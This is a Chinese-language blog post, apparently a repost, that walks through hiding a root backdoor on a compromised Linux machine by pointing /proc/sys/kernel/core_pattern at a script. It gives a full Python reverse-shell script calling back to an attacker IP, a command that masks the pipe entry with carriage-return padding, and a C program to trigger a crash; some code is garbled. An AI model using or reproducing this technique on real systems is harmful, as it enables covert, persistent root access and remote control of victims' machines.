zoukankan      html  css  js  c++  java
  • 利用 /proc/sys/kernel/core_pattern隐藏系统后门


    这里所说的core_pattern 指的是:/proc/sys/kernel/core_pattern。 我们知道在Linux系统中,如果进程崩溃了,系统内核会捕获到进程崩溃信息,然后将进程的coredump 信息写入到文件中,这个文件名默认是core,但是也可以通过配置修改这个文件名。比如可以通过修改/proc/sys/kernel/core_pattern 文件的内容来指定。

    Linux man 手册上关于core_pattern的描述:

    自Linux 内核2.6.19 之后 core_pattern 不仅仅可以包含一个指定报文coredump信息的文件名,还可以是Linux 管道加一个用户空间的程序或者一个脚本

    如果core_pattern 中第一个字符是 Linux管道符 |, 那么Linux 内核在捕获进程崩溃信息的时候,就会以root权限执行管道符后门的程序或者脚本,将进程崩溃信息传递给这个程序或者脚本,这就给我们提供了一个隐藏系统后门的方法,我们可以在管道符后面隐藏我们的后门脚本,以实现在特定条件下反弹shell

    下面实例演示使用此方法隐藏后门

    0x01. 实例演示

    试验环境:

        10.1.100.2          控制端 (centos7)

        10.1.100.3          victim (kali2)

    控制端执行监听,等待后门连接:

    被控端(这里的被控端指的就是我们渗透成功的victim机器,root权限)执行以下配置:

    1、准备后门脚本

    事先准备好反弹shell后门脚本,保存为/tmp/.x.py ,这个脚本在进程崩溃的时候被内核执行(那就是以root权限执行了),脚本代码如下:
    [code]#!/usr/bin/env python
        # -- coding:utf8 --

        import os
        import pty
        import socket
        
        lhost = "10.1.100.2" # XXX: CHANGEME
        lport = 31337 # XXX: CHANGEME
        
        def main():
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((lhost, lport))
            os.dup2(s.fileno(),0)
            os.dup2(s.fileno(),1)
            os.dup2(s.fileno(),2)
            os.putenv("HISTFILE",'/dev/null')
            pty.spawn("/bin/bash")
            os.remove('/tmp/x.py')   # 销毁自身
            s.close()
            
        if name == "main":
            main()[/code]

    非常简单的一段py脚本, 可以用来反弹一个shell

    然后执行以下命令,给脚本赋予执行权限

        chmod 755 /tmp/x.py

    1. 修改core_pattern的内容

    然后再修改/proc/sys/kernel/core_pattern的内容,执行如下命令:

        echo -e "|/tmp/.x.py core       " >  /proc/sys/kernel/core_pattern

    注: core 后面有若干空格,不可省略 (多余的空格是为了在显示的时候遮盖前面的内容)

    我们看一下此刻/proc/sys/kernel/core_pattern 中的内容

    用cat命令查看

    只显示 'core      ', 而|/tmp/x.py 却不见了,这是为何?

    这是因为 (在Linux系统中意为:将光标移动至行首,却不换行),终端在显示的时候core      覆盖了 |/tmp/.x.py 的显示,给人造成一种迷惑,以达到隐藏|/tmp/.x.py 的目的

    3、演示程序崩溃,触发后门执行

    接下来就是触发系统程序崩溃了,为了演示, 我写了一段含有错误的代码(实际环境上可能要等待某个进程崩溃)
        
    [code]#include <stdio.h>
        int main(void)
        {
        ((int )0) = 0;
        int a = NULL;
        
    a = 0x1;
        return 0;
        }[/code]

    执行以下命令编译:

    增加权限 chmod 755 a.out

    然后执行./a.out,使程序崩溃 (看到 core dumped 即表示程序已经崩溃,测试的时候需要适当设置ulimit的值)

    然后我们的监听端就已经获取到了系统shell

    0x02. 总结

    本文旨在提供一种思路分享,希望大家多提意见改进

  • 相关阅读:
    Powershell数据处理
    Powershell About Active Directory Group Membership of a domain user
    Powershell About Active Directory Server
    Oracle Schema Objects——Tables——TableStorage
    Oracle Schema Objects——Tables——TableType
    English Grammar
    Oracle Database Documentation
    Oracle Schema Objects——Tables——Oracle Data Types
    Oracle Schema Objects——Tables——Overview of Tables
    What is Grammar?
  • 原文地址:https://www.cnblogs.com/schips/p/10729735.html
Copyright © 2011-2022 走看看